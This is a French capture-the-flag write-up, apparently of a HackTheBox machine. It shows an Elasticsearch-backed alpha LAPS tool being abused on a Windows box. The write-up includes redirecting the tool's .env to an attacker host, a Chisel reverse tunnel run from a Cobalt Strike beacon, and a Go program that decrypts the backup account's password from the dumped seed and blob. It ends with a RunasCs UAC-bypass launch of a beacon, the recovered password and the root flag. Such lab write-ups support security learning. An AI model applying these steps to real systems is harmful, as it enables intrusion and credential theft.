Pour synthétiser, a.exe est la version alpha d’un système de LAPS qui va mettre régulièrement à jour le mot de passe de l’utilisateur backup. Pour ce faire il va récupérer une graine sur le serveur elasticsearch, générer un mot de passe de 40 caractères et envoyer sur l’indice user-00001 la version chiffrée de ce mot de passe.
Après avoir compris le principe du programme on va essayer d’intercepter les requêtes entre le binaire et le serveur elasticsearch pour ensuite les instrumenter et retrouver la graine et le mot de passe chiffré. 😈
Interception des requètes du système LAPS
Pour voir plus en détail les requetes envoyées par le binaire a.exe
, j’ai choisi d’exploiter le fait que le fichier contenant les variables d’environnment pour accéder et s’authentifier auprès du serveur Elasticsearch soit modifiable par l’utilisateur ruben: Je vais mettre en place un Invisible Proxying
avec burpsuite pour intercepter les requetes:
- On commence par modifier le fichier
.env
comme ceci:
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://10.10.15.28:8080
De cette manière, le binaire va envoyer ses requetes vers notre machine qui écoutera sur le port 8080
.
- On configure Burpsuite pour rediriger les requetes arrivant sur le port
8080
vers le port local7070
(j’expliquerai après pourquoi). Il faut bien penser à cocher l’optionSupport invisible proxying
: Par défault les proxy sont fait pour recevoir des requêtes légèrement différentes de celles envoyées directement au serveur (Je fais un apparté dessus car ça m’a pas mal surpris ^^):
- Requete classique:
GET /endpoint HTTP/1.1
...
- Requete envoyée au proxy:
GET https://host.com/endpoint HTTP/1.1
...
De cette manière, le proxy sait à quel endroit il doit renvoyer la requete. Ce qui fait que si accède au proxy avec une requete classique (si le client ne sait pas que sa requete va être intercepter par un proxy), il ne saura pas où renvoyer la requete et c’est pourquoi il faut activer l’option propre au proxying invisible dans ce cas précis.
- Maintenant qu’on intercepte les requetes, il faut pouvoir les renvoyer, le problème c’est que le service Elasticsearch tourne sur un port local. Pour quand même y accéder on peut utiliser un programme de
tunelling
comme Chisel par exemple. Sur notre machine on lance chisel sur le port8888
comme ceci:
chisel server --reverse --port 8888
2024/01/18 15:50:17 server: Reverse tunnelling enabled
2024/01/18 15:50:17 server: Fingerprint aMoxp6TruQ5Q+hycxvGU5lcZDl1r+9Chm6EyWbYyrJM=
2024/01/18 15:50:17 server: Listening on http://0.0.0.0:8888
2024/01/18 15:50:39 server: session#1: Client version (1.9.1) differs from server version (1.9.1-0kali1)
2024/01/18 15:50:39 server: session#1: tun: proxy#R:7070=>localhost:9200: Listening
Et on va forward le trafic qui arrive sur notre port local 7070 (car c’est là que burpsuite va renvoyer les requetes reçues) vers le port 9200 de la box comme ceci:
[01/18 15:50:39] beacon> run chisel.exe client 10.10.14.207:8888 R:7070:localhost:9200
[01/18 15:50:39] [*] Tasked beacon to run: chisel.exe client 10.10.14.207:8888 R:7070:localhost:9200
[01/18 15:50:39] [+] host called home, sent: 75 bytes
[01/18 15:50:49] [+] received output:
2024/01/18 12:50:41 client: Connecting to ws://10.10.14.207:8888
2024/01/18 12:50:41 client: Connected (Latency 25.4875ms)
Et si maintenant on lance le programme a.exe sur la box:
On arrive bien à intercepter l’échange entre le binaire et le serveur Elasticsearch! Voilà un schéma explicatif qui résume le procédé:
En jetant un oeil aux requetes interceptés on remarque bien les 3 décrites précédemment et on remarque que la requete censée créé l’utilisateur associé à l’utilisateur backup
sur le serveur Elasticsearch retourne une erreur:
{
"error": {
"root_cause": [
{
"type": "resource_already_exists_exception",
"reason": "index [user-00001/vqTsf_ziT66Jk_eqjT9lRg] already exists",
"index_uuid": "vqTsf_ziT66Jk_eqjT9lRg",
"index": "user-00001"
}
],
"type": "resource_already_exists_exception",
"reason": "index [user-00001/vqTsf_ziT66Jk_eqjT9lRg] already exists",
"index_uuid": "vqTsf_ziT66Jk_eqjT9lRg",
"index": "user-00001"
},
"status": 400
}
Ce qui est logique car le programme que l’on utilise n’est qu’une version alpha et que la version en production doit déjà avoir ajouté l’utilisateur.
On va maintenant retrouver les valeurs de seed
et du Blob
(le mot de passe chiffré) associé à l’utilisateur user-00001
pour retrouver le mot de passe associé à l’utilisateur backup! Pour cela on envoie la première requete dans le Repeater
et on remplace le chemin par /seed/_search?pretty=true
ce qui nous renvoie toutes les informations sur l’index seed:
HTTP/1.1 200 OK
X-elastic-product: Elasticsearch
content-type: application/json
content-length: 412
{
"took" : 3,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "seed",
"_id" : "1",
"_score" : 1.0,
"_source" : {
"seed" : 20187148
}
}
]
}
}
On répète l’opération avec l’index user-00001:
HTTP/1.1 200 OK
X-elastic-product: Elasticsearch
content-type: application/json
content-length: 568
{
"took" : 1,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "user-00001",
"_id" : "HPq-Ho0B2tGUGA_31Z5d",
"_score" : 1.0,
"_source" : {
"blob" : "fUkHjs17zgsuryIRLgsFp1db2S0XYAL24ptvMcefXEhuAo802CTINDOs3zoMDMIArMdCAvuH2gM=",
"timestamp" : "2024-01-18T14:43:59.4276945-08:00"
}
}
]
}
}
Parfait! On va maintenant créer un petit programme en Go qui va faire l’opération inverse que le LAPS pour retrouver le mot de passe de backup!
Privesc en contexte restreint
J’ai fait ce programme qui peut se passer d’explication pour retrouver le mot de passe, il prend en argument la seed et le blob encodé en base64:
package main
import (
"fmt"
"math/rand"
"io"
"os"
"strconv"
"encoding/base64"
"crypto/cipher"
"crypto/aes"
crand"crypto/rand"
)
func main() {
seed,_ := strconv.ParseInt(os.Args[1], 10, 64)
var b64_encrypted_pass = os.Args[2]
var encrypted_pass, _ = base64.URLEncoding.DecodeString(b64_encrypted_pass)
key := make([]byte, 16)
iv := make([]byte, 16)
rand.Seed(seed)
for i := 0; i < 16; i++ {
key[i] = (byte)(rand.Intn(254) + 1)
}
io.ReadAtLeast(crand.Reader, iv, 16)
block, _ := aes.NewCipher(key)
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(encrypted_pass, encrypted_pass)
fmt.Printf("%s",encrypted_pass[len(encrypted_pass)-40:])
}
Et résultat:
go run recup-pass.go 20187148 "fUkHjs17zgsuryIRLgsFp1db2S0XYAL24ptvMcefXEhuAo802CTINDOs3zoMDMIArMdCAvuH2gM="
hmCziGdAJepaFtCpFDXngjldIoWZeIZERuLsUGdw
Super nickel! Maintenant on va pouvoir se connecter en tant que l’utilisateur backup
, mais attention il y’a une difficulté supplémentaire: Si on essaye la fonctionnalité spawnAs
de Cobalt Strike, on ne va pas recevoir de nouvelles session. La raison à cela est la présence de l’UAC. Très brièvement cette mesure de sécurité de Windows implique que par défault les processus sont lancées dans un contexte de basse intégrité et que pour lancer un programme en tant que membre du groupe d’aministrateurs locaux, un invite nommé le consent prompt
va devoir être complété. Et cela vaut donc particulièrement pour l’usage de la commande runas
.
Pour pouvoir outrepasser cette mesure depuis notre reverse shell on va utiliser ce projet très connu qui met à disposition un outil similaire à runas mais avec une option de bypass d’UAC (Je ne vais pas rentrer dans les détails de comment le bypass fonctionne mais libre à vous d’aller regarder).
On va utiliser l’option de cobalt strike Pivoting -> Listener
pour créer un nouveau listener et générer un nouveau beacon afin d’obtenir la session en tant qu’administrateur. On génère ensuite un payload stageless avec l’option Payloads -> Windows Stageless Payload
, on l’upload et on a plus qu’à faire un:
shell RunasCs.exe backup hmCziGdAJepaFtCpFDXngjldIoWZeIZERuLsUGdw "c:\temp\www\internal\content\posts\internal-laps-alpha\beacon_x64.exe" --bypass-uac
Et on obtient le graal:
Et il ne reste plus qu’à flag!
[02/04 11:09:05] beacon> shell type C:\Users\Administrator\Desktop\root.txt
[02/04 11:09:05] [*] Tasked beacon to run: type C:\Users\Administrator\Desktop\root.txt
[02/04 11:09:05] [+] host called home, sent: 75 bytes
[02/04 11:09:05] [+] received output:
06f74385a548ddadb3edecfa752caea9
Conclusion
J’ai beaucoup aimé cette box parce qu’elle reposait beaucoup sur du reverse ce qui est assez rare, d’autant plus que le Go constitute toujours un petit challenge dans ce domaine. La seule chose que je regrette c’est que l’option execute-assembly
de Cobalt Strike pour executer RunasCs comme cela se fait usuellement en red team n’a pas fonctionné sur cette box sans que je puisse vraiment comprendre pourquoi 😅.